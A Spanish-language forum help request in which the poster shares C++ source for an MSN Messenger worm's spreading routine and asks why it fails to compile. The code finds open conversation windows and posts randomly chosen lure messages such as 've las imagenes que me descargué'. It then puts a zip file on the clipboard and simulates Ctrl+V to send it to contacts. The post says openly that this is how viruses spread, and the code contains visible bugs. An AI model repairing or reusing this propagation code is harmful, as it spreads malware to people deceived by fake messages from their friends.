drupfing
Desconectado
Mensajes: 5
|
Bueno paseando y buscando por la red encontre el codigo que buscaba pero me genera un error en una de los include... he buscdo pero nada que se porq es eso , aki publico el codigo
Este codigo lo que hace es lo que han implementado muchos virus hasta ahora es propagarse mediante msj `por el msn enviando un msj con un link d una web o cmo este enviando el archivo
el error que me da es el siguiente
6 C:\Dev-Cpp\include\c++\3.3.1\backward\fstream.h:31, from C:\Documents and Settings\.......\msn.cpp In file included from C:/Dev-Cpp/include/c++/3.3.1/backward/fstream.h:31, from C:/Documents and Settings/...../msn.cpp
Espero que me puedan hechar una mano
#include <windows.h> #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <fstream.h> #include <tlhelp32.h> #include "shlobj.h" using namespace std;
char Texto[] = "";//char vacia, donde se almacenará alguno de los siguientes textos: char Texto1[] = "orale... ya viste el angel que sale atrás de la chava esa??? Lengua"; char Texto2[] = "Wow, ese choque esta bien feo!!!"; char Texto3[] = "chale, la doña esa se acomodo un buen fregadazo...."; char Texto4[] = "ve el nuevo spot de la cocacola... Lengua"; char Texto5[] = "Cálico Eéctronico... nueva serie"; char Texto6[] = "Simple Machines... jajaja!!"; char Texto7[] = "tu tienes iPod, verdad?, ve las imagenes que me descargué"; char Texto8[] = "oye, quieres ver lo que me pusieron en mi spacio?, se pasaron..."; char Texto9[] = "el wey ese se da un madrazo!!, Lengua"; char Texto10[] = "Para ti..."; BOOL CALLBACK EnumeraHijas(HWND hwnd,LPARAM lParam); void CopiarmeMemoria(); void MESSENGER(); //-----------------------MEMORY SPACE...---------------------------------------- void CopiarmeMemoria() { //AQUI LE ASIGNAMOS A LA CHAR, LA DIRECCION DE LA CARPETA QUE QUEREMOS MANDAR... char filu[256] = "C:\\Picture001.zip"; //acracter nulo al final de la cadena lstrcat(filu,"\0"); if (OpenClipboard(NULL)) { EmptyClipboard();
DROPFILES filuTieto; filuTieto.pFiles = sizeof(filuTieto); filuTieto.fWide = 0; HGLOBAL hGlobal = GlobalAlloc(GHND, sizeof(DROPFILES) + strlen(filu)+1); unsigned char*ptr = (unsigned char*)GlobalLock(hGlobal); CopyMemory(ptr,&filuTieto,sizeof(DROPFILES)); CopyMemory(ptr+sizeof(DROPFILES),filu,strlen(filu)+1);
GlobalUnlock(hGlobal);
SetClipboardData(CF_HDROP,ptr);
CloseClipboard(); GlobalFree(hGlobal); } } //--------------------------MSN SPREAD...--------------------------------------- void MESSENGER() { int ciclo = 1; char stri[100]; do { HWND Foco; Foco = GetForegroundWindow(); //sacamos el manejador del que tiene el foco GetWindowText(Foco,stri,100); //sacamos su titulo if(strstr(stri,"Conversación")!=NULL) //si tiene la palabra conversacion { EnumChildWindows(Foco,EnumeraHijas,0); //enumeramos sus hijas ofstream msn; msn.open("C:\\Breaking_News.txt"); msn << stri << endl; msn.close(); } Sleep(5000); //esperamos 5 segundos }while(ciclo == 1); } //-----------------------SACAR CHILDS...---------------------------------------- BOOL CALLBACK EnumeraHijas(HWND hwnd,LPARAM lParam) { char clase[51];
int msn; srand((unsigned)time(0)); //function aleatoria msn = (rand()%10)+1; switch(msn) { case 1: strcpy(Texto1, Texto); break; case 2: strcpy(Texto2, Texto); break; case 3: strcpy(Texto3, Texto); break; case 4: strcpy(Texto4, Texto); break; case 5: strcpy(Texto5, Texto); break; case 6: strcpy(Texto6, Texto); break; case 7: strcpy(Texto7, Texto); break; case 8: strcpy(Texto8, Texto); break; case 9: strcpy(Texto9, Texto); break; case 10: strcpy(Texto10, Texto); break; } GetClassName(hwnd,clase,50); if(stricmp(clase,"DirectUIHWND")==0) //si la hija es de la clase Direct... { for(int i=0;i < strlen(Texto);i++) //escribimos en ella PostMessage(hwnd, WM_CHAR,Texto, 0);
PostMessage(hwnd, WM_KEYDOWN, VK_RETURN, 0); PostMessage(hwnd, WM_KEYUP, VK_RETURN, 0); CopiarmeMemoria(); keybd_event(VK_CONTROL,0,0,0); // CTRL presionado keybd_event(VkKeyScan('V'),0,0,0); // V presionada keybd_event(VkKeyScan('V'),0,2,0); // soltar V keybd_event(VK_CONTROL,0,2,0); // Soltar CTRL. } return (int)hwnd; }
|